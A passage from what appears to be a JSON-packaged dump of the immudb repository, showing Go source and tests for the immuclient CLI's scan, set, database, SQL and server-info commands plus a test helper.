ic.Scan(args)\n\trequire.ErrorIs(t, err, errScan)\n\n\timmuClientMock.ScanF = func(context.Context, *schema.ScanOptions) (*schema.StructuredItemList, error) {\n\t\treturn &schema.StructuredItemList{}, nil\n\t}\n\tresp, err = ic.Scan(args)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"0\", resp)\n\n\t// Count errors\n\terrCount := errors.New(\"count error\")\n\timmuClientMock.CountF = func(context.Context, []byte) (*schema.ItemsCount, error) {\n\t\treturn nil, errCount\n\t}\n\t_, err = ic.Count(args)\n\trequire.ErrorIs(t, err, errCount)\n}\n*/\n"
  },
  {
    "path": "cmd/immuclient/immuc/scanners_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuc_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestZScan(t *testing.T) {\n\tic := setupTest(t)\n\n\t_, err := ic.Imc.Set([]string{\"key\", \"val\"})\n\trequire.NoError(t, err, \"Set fail\")\n\n\t_, err = ic.Imc.ZAdd([]string{\"set\", \"10.5\", \"key\"})\n\trequire.NoError(t, err, \"ZAdd fail\")\n\n\tmsg, err := ic.Imc.ZScan([]string{\"set\"})\n\trequire.NoError(t, err, \"ZScan fail\")\n\trequire.Contains(t, msg, \"value\", \"ZScan failed\")\n}\n\nfunc TestIScan(t *testing.T) {\n\tic := setupTest(t)\n\n\t_, err := ic.Imc.VerifiedSet([]string{\"key\", \"val\"})\n\trequire.NoError(t, err, \"Set fail\")\n}\n\nfunc TestScan(t *testing.T) {\n\tic := setupTest(t)\n\n\t_, err := ic.Imc.Set([]string{\"key\", \"val\"})\n\trequire.NoError(t, err, \"Set fail\")\n\n\tmsg, err := ic.Imc.Scan([]string{\"k\"})\n\trequire.NoError(t, err, \"Scan fail\")\n\trequire.Contains(t, msg, \"value\", \"Scan failed\")\n}\n\nfunc TestCount(t *testing.T) {\n\tt.SkipNow()\n\n\tic := setupTest(t)\n\n\t_, err := ic.Imc.Set([]string{\"key\", \"val\"})\n\trequire.NoError(t, err, \"Set fail\")\n\n\tmsg, err := ic.Imc.Count([]string{\"key\"})\n\trequire.NoError(t, err, \"Count fail\")\n\trequire.Contains(t, msg, \"1\", \"Count failed\")\n}\n"
  },
  {
    "path": "cmd/immuclient/immuc/server_info.go",
    "content": "package immuc\n\nimport (\n\t\"context\"\n\t\"strings\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n)\n\nfunc (i *immuc) ServerInfo(args []string) (string, error) {\n\tctx := context.Background()\n\tresp, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\treturn immuClient.ServerInfo(ctx, &schema.ServerInfoRequest{})\n\t})\n\tif err != nil {\n\t\trpcerrors := strings.SplitAfter(err.Error(), \"=\")\n\t\tif len(rpcerrors) > 1 {\n\t\t\treturn rpcerrors[len(rpcerrors)-1], nil\n\t\t}\n\t\treturn \"\", err\n\t}\n\treturn PrintServerInfo(resp.(*schema.ServerInfoResponse)), nil\n}\n"
  },
  {
    "path": "cmd/immuclient/immuc/server_info_test.go",
    "content": "package immuc_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestServerInfo(t *testing.T) {\n\tic := setupTest(t)\n\n\tmsg, err := ic.Imc.ServerInfo(nil)\n\trequire.NoError(t, err, \"ServerInfo fail\")\n\trequire.Contains(t, msg, \"version\")\n}\n"
  },
  {
    "path": "cmd/immuclient/immuc/setcommands.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuc\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"context\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n)\n\nfunc (i *immuc) Set(args []string) (string, error) {\n\tvar reader io.Reader\n\n\tif len(args) > 1 {\n\t\treader = bytes.NewReader([]byte(args[1]))\n\t} else {\n\t\treader = bufio.NewReader(os.Stdin)\n\t}\n\n\tkey, err := ioutil.ReadAll(bytes.NewReader([]byte(args[0])))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tvalue, err := ioutil.ReadAll(reader)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tctx := context.Background()\n\tresponse, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\treturn immuClient.Set(ctx, key, value)\n\t})\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\ttxhdr := response.(*schema.TxHeader)\n\tscstr, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\treturn immuClient.GetSince(ctx, key, txhdr.Id)\n\t})\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn PrintKV(scstr.(*schema.Entry), false, false), nil\n}\n\nfunc (i *immuc) VerifiedSet(args []string) (string, error) {\n\tvar reader io.Reader\n\n\tif len(args) > 1 {\n\t\treader = bytes.NewReader([]byte(args[1]))\n\t} else {\n\t\treader = bufio.NewReader(os.Stdin)\n\t}\n\n\tkey, err := ioutil.ReadAll(bytes.NewReader([]byte(args[0])))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tvalue, err := ioutil.ReadAll(reader)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tctx := context.Background()\n\tif _, err = i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\treturn immuClient.VerifiedSet(ctx, key, value)\n\t}); err != nil {\n\t\treturn \"\", err\n\t}\n\n\tvi, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\treturn immuClient.VerifiedGet(ctx, key)\n\t})\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn PrintKV(vi.(*schema.Entry), true, false), nil\n}\n\nfunc (i *immuc) Restore(args []string) (string, error) {\n\tkey, atRevision, hasRevision, err := i.parseKeyArg(args[0])\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tif !hasRevision {\n\t\treturn \"please specify the key with revision to restore\", nil\n\t}\n\n\tif atRevision == 0 {\n\t\treturn \"can not restore current revision\", nil\n\t}\n\n\tctx := context.Background()\n\toldValue, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\treturn immuClient.Get(ctx, key, client.AtRevision(atRevision))\n\t})\n\tif err != nil {\n\t\tif strings.Contains(err.Error(), \"NotFound\") {\n\t\t\treturn fmt.Sprintf(\"key not found: %v \", string(key)), nil\n\t\t}\n\t\trpcerrors := strings.SplitAfter(err.Error(), \"=\")\n\t\tif len(rpcerrors) > 1 {\n\t\t\treturn rpcerrors[len(rpcerrors)-1], nil\n\t\t}\n\t\treturn \"\", err\n\t}\n\n\toldEntry := oldValue.(*schema.Entry)\n\n\tnewValue, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\treturn immuClient.SetAll(ctx, &schema.SetRequest{\n\t\t\tKVs: []*schema.KeyValue{{\n\t\t\t\tKey:   oldEntry.Key,\n\t\t\t\tValue: oldEntry.Value,\n\t\t\t}},\n\t\t})\n\t})\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\ttxhdr := newValue.(*schema.TxHeader)\n\tscstr, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\treturn immuClient.GetSince(ctx, key, txhdr.Id)\n\t})\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn PrintKV(scstr.(*schema.Entry), false, false), nil\n}\n\nfunc (i *immuc) DeleteKey(args []string) (string, error) {\n\tkey := []byte(args[0])\n\tctx := context.Background()\n\t_, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\treturn immuClient.Delete(ctx, &schema.DeleteKeysRequest{Keys: [][]byte{key}})\n\t})\n\tif err != nil {\n\t\tif strings.Contains(err.Error(), \"NotFound\") {\n\t\t\treturn fmt.Sprintf(\"key not found: %v \", string(key)), nil\n\t\t}\n\t\trpcerrors := strings.SplitAfter(err.Error(), \"=\")\n\t\tif len(rpcerrors) > 1 {\n\t\t\treturn rpcerrors[len(rpcerrors)-1], nil\n\t\t}\n\t\treturn \"\", err\n\t}\n\n\treturn \"key successfully deleted\", nil\n}\n\nfunc (i *immuc) ZAdd(args []string) (string, error) {\n\tvar setReader io.Reader\n\tvar scoreReader io.Reader\n\tvar keyReader io.Reader\n\n\tif len(args) > 1 {\n\t\tsetReader = bytes.NewReader([]byte(args[0]))\n\t\tscoreReader = bytes.NewReader([]byte(args[1]))\n\t\tkeyReader = bytes.NewReader([]byte(args[2]))\n\t}\n\n\tbs, err := ioutil.ReadAll(scoreReader)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tscore, err := strconv.ParseFloat(string(bs), 64)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tset, err := ioutil.ReadAll(setReader)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tkey, err := ioutil.ReadAll(keyReader)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tctx := context.Background()\n\ttxhdr, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\treturn immuClient.ZAdd(ctx, set, score, key)\n\t})\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn PrintSetItem(set, key, score, txhdr.(*schema.TxHeader), false), nil\n}\n\nfunc (i *immuc) VerifiedZAdd(args []string) (string, error) {\n\tvar setReader io.Reader\n\tvar scoreReader io.Reader\n\tvar keyReader io.Reader\n\n\tif len(args) > 1 {\n\t\tsetReader = bytes.NewReader([]byte(args[0]))\n\t\tscoreReader = bytes.NewReader([]byte(args[1]))\n\t\tkeyReader = bytes.NewReader([]byte(args[2]))\n\t}\n\n\tbs, err := ioutil.ReadAll(scoreReader)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tscore, err := strconv.ParseFloat(string(bs), 64)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tset, err := ioutil.ReadAll(setReader)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tkey, err := ioutil.ReadAll(keyReader)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tctx := context.Background()\n\tresponse, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\treturn immuClient.VerifiedZAdd(ctx, set, score, key)\n\t})\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tresp := PrintSetItem([]byte(args[0]), []byte(args[2]), score, response.(*schema.TxHeader), true)\n\n\treturn resp, nil\n}\n\nfunc (i *immuc) CreateDatabase(args []string) (string, error) {\n\tif len(args) < 1 {\n\t\treturn \"\", fmt.Errorf(\"ERROR: Not enough arguments. Use [command] --help for documentation \")\n\t}\n\n\tdbname := args[0]\n\tctx := context.Background()\n\tif _, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\treturn nil, immuClient.CreateDatabase(ctx, &schema.DatabaseSettings{\n\t\t\tDatabaseName: string(dbname),\n\t\t})\n\t}); err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn \"database successfully created\", nil\n}\n\nfunc (i *immuc) DatabaseList(args []string) (string, error) {\n\tresp, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\treturn immuClient.DatabaseList(context.Background())\n\t})\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tvar dbList string\n\n\tfor _, val := range resp.(*schema.DatabaseListResponse).Databases {\n\t\tif i.options.immudbClientOptions.CurrentDatabase == val.DatabaseName {\n\t\t\tdbList += \"*\"\n\t\t}\n\t\tdbList += fmt.Sprintf(\"%s\", val.DatabaseName)\n\t}\n\n\treturn dbList, nil\n}\n\nfunc (i *immuc) UseDatabase(args []string) (string, error) {\n\tvar dbname string\n\tif len(args) > 0 {\n\t\tdbname = args[0]\n\t} else if len(i.options.immudbClientOptions.Database) > 0 {\n\t\tdbname = i.options.immudbClientOptions.Database\n\t} else {\n\t\treturn \"\", fmt.Errorf(\"database name not specified\")\n\t}\n\n\tctx := context.Background()\n\t_, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\treturn immuClient.UseDatabase(ctx, &schema.Database{\n\t\t\tDatabaseName: dbname,\n\t\t})\n\t})\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\ti.ImmuClient.GetOptions().CurrentDatabase = dbname\n\n\treturn fmt.Sprintf(\"Now using %s\", dbname), nil\n}\n"
  },
  {
    "path": "cmd/immuclient/immuc/setcommands_errors_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuc\n\n/*\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/client/clienttest\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc\"\n)\n\nfunc TestSetCommandsErrors(t *testing.T) {\n\tdefer os.Remove(\".root-\")\n\timmuClientMock := &clienttest.ImmuClientMock{}\n\tic := &immuc{ImmuClient: immuClientMock}\n\n\t// RawSafeSet errors\n\targs := []string{\"key1\", \"value1\"}\n\terrRawSafeSet := errors.New(\"raw safe set error\")\n\timmuClientMock.RawSafeSetF = func(context.Context, []byte, []byte) (vi *client.VerifiedIndex, err error) {\n\t\treturn nil, errRawSafeSet\n\t}\n\t_, err := ic.RawSafeSet(args)\n\trequire.ErrorIs(t, err, errRawSafeSet)\n\timmuClientMock.RawSafeSetF = func(context.Context, []byte, []byte) (vi *client.VerifiedIndex, err error) {\n\t\treturn nil, nil\n\t}\n\n\terrRawSafeGet := errors.New(\"raw safe get error\")\n\timmuClientMock.RawSafeGetF = func(context.Context, []byte, ...grpc.CallOption) (vi *client.VerifiedItem, err error) {\n\t\treturn nil, errRawSafeGet\n\t}\n\t_, err = ic.RawSafeSet(args)\n\trequire.ErrorIs(t, err, errRawSafeGet)\n\n\t// Set errors\n\terrSet := errors.New(\"set error\")\n\timmuClientMock.SetF = func(context.Context, []byte, []byte) (*schema.Index, error) {\n\t\treturn nil, errSet\n\t}\n\t_, err = ic.Set(args)\n\trequire.ErrorIs(t, err, errSet)\n\timmuClientMock.SetF = func(context.Context, []byte, []byte) (*schema.Index, error) {\n\t\treturn nil, nil\n\t}\n\n\terrGet := errors.New(\"get error\")\n\timmuClientMock.GetF = func(context.Context, []byte) (*schema.StructuredItem, error) {\n\t\treturn nil, errGet\n\t}\n\t_, err = ic.Set(args)\n\trequire.ErrorIs(t, err, errGet)\n\n\t// SafeSet errors\n\terrSafeSet := errors.New(\"safe set error\")\n\timmuClientMock.SafeSetF = func(context.Context, []byte, []byte) (*client.VerifiedIndex, error) {\n\t\treturn nil, errSafeSet\n\t}\n\t_, err = ic.SafeSet(args)\n\trequire.ErrorIs(t, err, errSafeSet)\n\n\timmuClientMock.SafeSetF = func(context.Context, []byte, []byte) (*client.VerifiedIndex, error) {\n\t\treturn nil, nil\n\t}\n\terrSafeGet := errors.New(\"safe get errrors\")\n\timmuClientMock.SafeGetF = func(context.Context, []byte, ...grpc.CallOption) (*client.VerifiedItem, error) {\n\t\treturn nil, errSafeGet\n\t}\n\t_, err = ic.SafeSet(args)\n\trequire.ErrorIs(t, err, errSafeGet)\n\n\t// ZAdd errors\n\t_, err = ic.ZAdd([]string{\"set1\", \"X\", \"key1\"})\n\trequire.Error(t, err)\n\n\terrZAdd := errors.New(\"zadd error\")\n\timmuClientMock.ZAddF = func(context.Context, []byte, float64, []byte, *schema.Index) (*schema.Index, error) {\n\t\treturn nil, errZAdd\n\t}\n\t_, err = ic.ZAdd([]string{\"set1\", \"1\", \"key1\"})\n\trequire.ErrorIs(t, err, errZAdd)\n\n\t// SafeZAdd errors\n\t_, err = ic.SafeZAdd([]string{\"set1\", \"X\", \"key1\"})\n\trequire.Error(t, err)\n\n\terrSafeZAdd := errors.New(\"safe zadd error\")\n\timmuClientMock.SafeZAddF = func(context.Context, []byte, float64, []byte, *schema.Index) (*client.VerifiedIndex, error) {\n\t\treturn nil, errSafeZAdd\n\t}\n\t_, err = ic.SafeZAdd([]string{\"set1\", \"1\", \"key1\"})\n\trequire.ErrorIs(t, err, errSafeZAdd)\n\n\t// CreateDatabase errors\n\t_, err = ic.CreateDatabase(nil)\n\trequire.Equal(\n\t\tt,\n\t\terrors.New(\"ERROR: Not enough arguments. Use [command] --help for documentation \"),\n\t\terr)\n\n\terrCreateDb := errors.New(\"create database error\")\n\timmuClientMock.CreateDatabaseF = func(context.Context, *schema.Database) error {\n\t\treturn errCreateDb\n\t}\n\t_, err = ic.CreateDatabase([]string{\"db1\"})\n\trequire.ErrorIs(t, err, errCreateDb)\n\n\t// DatabaseList errors\n\terrDbList := errors.New(\"database list error\")\n\timmuClientMock.DatabaseListF = func(context.Context) (*schema.DatabaseListResponse, error) {\n\t\treturn nil, errDbList\n\t}\n\t_, err = ic.DatabaseList(nil)\n\trequire.ErrorIs(t, err, errDbList)\n\n\tic.options = &client.Options{CurrentDatabase: \"db2\"}\n\timmuClientMock.DatabaseListF = func(context.Context) (*schema.DatabaseListResponse, error) {\n\t\treturn &schema.DatabaseListResponse{\n\t\t\tDatabases: []*schema.Database{\n\t\t\t\t&schema.Database{Databasename: \"db1\"},\n\t\t\t\t&schema.Database{Databasename: \"db2\"},\n\t\t\t},\n\t\t}, nil\n\t}\n\tresp, err := ic.DatabaseList(nil)\n\trequire.NoError(t, err)\n\trequire.Contains(t, resp, \"db1\")\n\trequire.Contains(t, resp, \"*db2\")\n\n\t// UseDatabase errors\n\terrUseDb := errors.New(\"use database error\")\n\timmuClientMock.UseDatabaseF = func(context.Context, *schema.Database) (*schema.UseDatabaseReply, error) {\n\t\treturn nil, errUseDb\n\t}\n\targs = []string{\"db1\"}\n\t_, err = ic.UseDatabase(args)\n\trequire.ErrorIs(t, err, errUseDb)\n\n\timmuClientMock.UseDatabaseF = func(context.Context, *schema.Database) (*schema.UseDatabaseReply, error) {\n\t\treturn &schema.UseDatabaseReply{\n\t\t\tToken: \"sometoken\",\n\t\t}, nil\n\t}\n\timmuClientMock.GetOptionsF = func() *client.Options {\n\t\treturn &client.Options{TokenFileName: \"sometokenfile\"}\n\t}\n\thdsMock := clienttest.DefaultHomedirServiceMock()\n\tic.ts = tokenservice.NewTokenService().WithHds(hdsMock)\n\terrWriteFileToHomeDir := errors.New(\"write file to home dir errror\")\n\thdsMock.WriteFileToUserHomeDirF = func(content []byte, pathToFile string) error {\n\t\treturn errWriteFileToHomeDir\n\t}\n\t_, err = ic.UseDatabase(args)\n\trequire.ErrorIs(t, err, errWriteFileToHomeDir)\n}\n*/\n"
  },
  {
    "path": "cmd/immuclient/immuc/setcommands_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuc_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestSet(t *testing.T) {\n\tic := setupTest(t)\n\n\tmsg, err := ic.Imc.Set([]string{\"key\", \"val\"})\n\n\trequire.NoError(t, err, \"Set fail\")\n\trequire.Contains(t, msg, \"value\", \"Set failed\")\n}\n\nfunc TestVerifiedSet(t *testing.T) {\n\tic := setupTest(t)\n\n\tmsg, err := ic.Imc.VerifiedSet([]string{\"key\", \"val\"})\n\n\trequire.NoError(t, err, \"VerifiedSet fail\")\n\trequire.Contains(t, msg, \"value\", \"VerifiedSet failed\")\n}\n\nfunc TestZAdd(t *testing.T) {\n\tic := setupTest(t)\n\n\t_, err := ic.Imc.VerifiedSet([]string{\"key\", \"val\"})\n\trequire.NoError(t, err)\n\n\tmsg, err := ic.Imc.ZAdd([]string{\"val\", \"1\", \"key\"})\n\n\trequire.NoError(t, err, \"ZAdd fail\")\n\trequire.Contains(t, msg, \"hash\", \"ZAdd failed\")\n}\n\nfunc _TestVerifiedZAdd(t *testing.T) {\n\tic := setupTest(t)\n\n\t_, err := ic.Imc.VerifiedSet([]string{\"key\", \"val\"})\n\trequire.NoError(t, err)\n\n\tmsg, err := ic.Imc.VerifiedZAdd([]string{\"val\", \"1\", \"key\"})\n\n\trequire.NoError(t, err, \"VerifiedZAdd fail\")\n\trequire.Contains(t, msg, \"hash\", \"VerifiedZAdd failed\")\n}\n\nfunc TestCreateDatabase(t *testing.T) {\n\tic := setupTest(t)\n\n\tmsg, err := ic.Imc.CreateDatabase([]string{\"newdb\"})\n\trequire.NoError(t, err, \"CreateDatabase fail\")\n\trequire.Contains(t, msg, \"database successfully created\", \"CreateDatabase failed\")\n\n\t_, err = ic.Imc.DatabaseList([]string{})\n\trequire.NoError(t, err, \"DatabaseList fail\")\n\n\tmsg, err = ic.Imc.UseDatabase([]string{\"newdb\"})\n\trequire.NoError(t, err, \"UseDatabase fail\")\n\trequire.Contains(t, msg, \"newdb\", \"UseDatabase failed\")\n}\n"
  },
  {
    "path": "cmd/immuclient/immuc/sql.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuc\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/olekukonko/tablewriter\"\n)\n\nfunc (i *immuc) SQLExec(args []string) (string, error) {\n\tsqlStmt := strings.Join(args, \" \")\n\tctx := context.Background()\n\tresponse, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\treturn immuClient.SQLExec(ctx, sqlStmt, nil)\n\t})\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tsqlRes := response.(*schema.SQLExecResult)\n\n\tvar updatedRows int\n\n\tfor _, tx := range sqlRes.Txs {\n\t\tupdatedRows += int(tx.UpdatedRows)\n\t}\n\n\treturn fmt.Sprintf(\"Updated rows: %d\", updatedRows), nil\n}\n\nfunc (i *immuc) SQLQuery(args []string) (string, error) {\n\tsqlStmt := strings.Join(args, \" \")\n\tctx := context.Background()\n\tresponse, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\tresp, err := immuClient.SQLQuery(ctx, sqlStmt, nil, true)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn renderTableResult(resp), nil\n\t})\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn response.(string), nil\n}\n\nfunc (i *immuc) ListTables() (string, error) {\n\tctx := context.Background()\n\tresponse, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\tresp, err := immuClient.ListTables(ctx)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn renderTableResult(resp), nil\n\t})\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn response.(string), nil\n}\n\nfunc (i *immuc) DescribeTable(args []string) (string, error) {\n\tif len(args) != 1 {\n\t\treturn \"\", client.ErrIllegalArguments\n\t}\n\tctx := context.Background()\n\tresponse, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\tresp, err := immuClient.DescribeTable(ctx, args[0])\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn renderTableResult(resp), nil\n\t})\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn response.(string), nil\n}\n\nfunc renderTableResult(resp *schema.SQLQueryResult) string {\n\tif resp == nil {\n\t\treturn \"\"\n\t}\n\tresult := bytes.NewBuffer([]byte{})\n\tconsoleTable := tablewriter.NewWriter(result)\n\tcols := make([]string, len(resp.Columns))\n\tfor i, c := range resp.Columns {\n\t\tcols[i] = c.Name\n\t}\n\tconsoleTable.SetHeader(cols)\n\n\tfor _, r := range resp.Rows {\n\t\trow := make([]string, len(r.Values))\n\n\t\tfor i, v := range r.Values {\n\t\t\trow[i] = schema.RenderValue(v.Value)\n\t\t}\n\n\t\tconsoleTable.Append(row)\n\t}\n\n\tconsoleTable.SetAutoFormatHeaders(false)\n\tconsoleTable.Render()\n\treturn result.String()\n}\n"
  },
  {
    "path": "cmd/immuclient/immuclient.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage main\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\n\tc \"github.com/codenotary/immudb/cmd/helper\"\n\timmuclient \"github.com/codenotary/immudb/cmd/immuclient/command\"\n)\n\nfunc main() {\n\tcmd := immuclient.NewCommand()\n\terr := immuclient.Execute(cmd)\n\tif err != nil {\n\t\tfmt.Println(cmd.Aliases)\n\t\tif strings.HasPrefix(err.Error(), \"unknown command\") {\n\t\t\tos.Exit(0)\n\t\t}\n\t\tc.QuitWithUserError(err)\n\t}\n}\n"
  },
  {
    "path": "cmd/immuclient/immuclienttest/helper.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuclienttest\n\nimport (\n\t\"bytes\"\n\t\"io\"\n\t\"log\"\n\t\"os\"\n\t\"sync\"\n\n\t\"github.com/codenotary/immudb/pkg/client/tokenservice\"\n\n\t\"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/codenotary/immudb/cmd/immuclient/immuc\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/credentials/insecure\"\n)\n\ntype ClientTest struct {\n\tImc     immuc.Client\n\tTs      tokenservice.TokenService\n\tOptions immuc.Options\n\tPr      helper.PasswordReader\n\tDialer  servertest.BuffDialer\n}\n\ntype HomedirServiceMock struct {\n\tm sync.RWMutex\n\tf map[string][]byte\n}\n\nfunc (h *HomedirServiceMock) FileExistsInUserHomeDir(pathToFile string) (bool, error) {\n\th.m.RLock()\n\tdefer h.m.RUnlock()\n\tif h.f == nil {\n\t\treturn false, nil\n\t}\n\t_, exists := h.f[pathToFile]\n\treturn exists, nil\n}\n\nfunc (h *HomedirServiceMock) WriteFileToUserHomeDir(content []byte, pathToFile string) error {\n\th.m.Lock()\n\tdefer h.m.Unlock()\n\tif h.f == nil {\n\t\th.f = map[string][]byte{}\n\t}\n\th.f[pathToFile] = content\n\treturn nil\n}\n\nfunc (h *HomedirServiceMock) DeleteFileFromUserHomeDir(pathToFile string) error {\n\th.m.Lock()\n\tdefer h.m.Unlock()\n\tif h.f != nil {\n\t\tdelete(h.f, pathToFile)\n\t}\n\treturn nil\n}\n\nfunc (h *HomedirServiceMock) ReadFileFromUserHomeDir(pathToFile string) (string, error) {\n\th.m.RLock()\n\tdefer h.m.RUnlock()\n\tif h.f == nil {\n\t\treturn \"\", os.ErrNotExist\n\t}\n\tc, exists := h.f[pathToFile]\n\tif !exists {\n\t\treturn \"\", os.ErrNotExist\n\t}\n\treturn string(c), 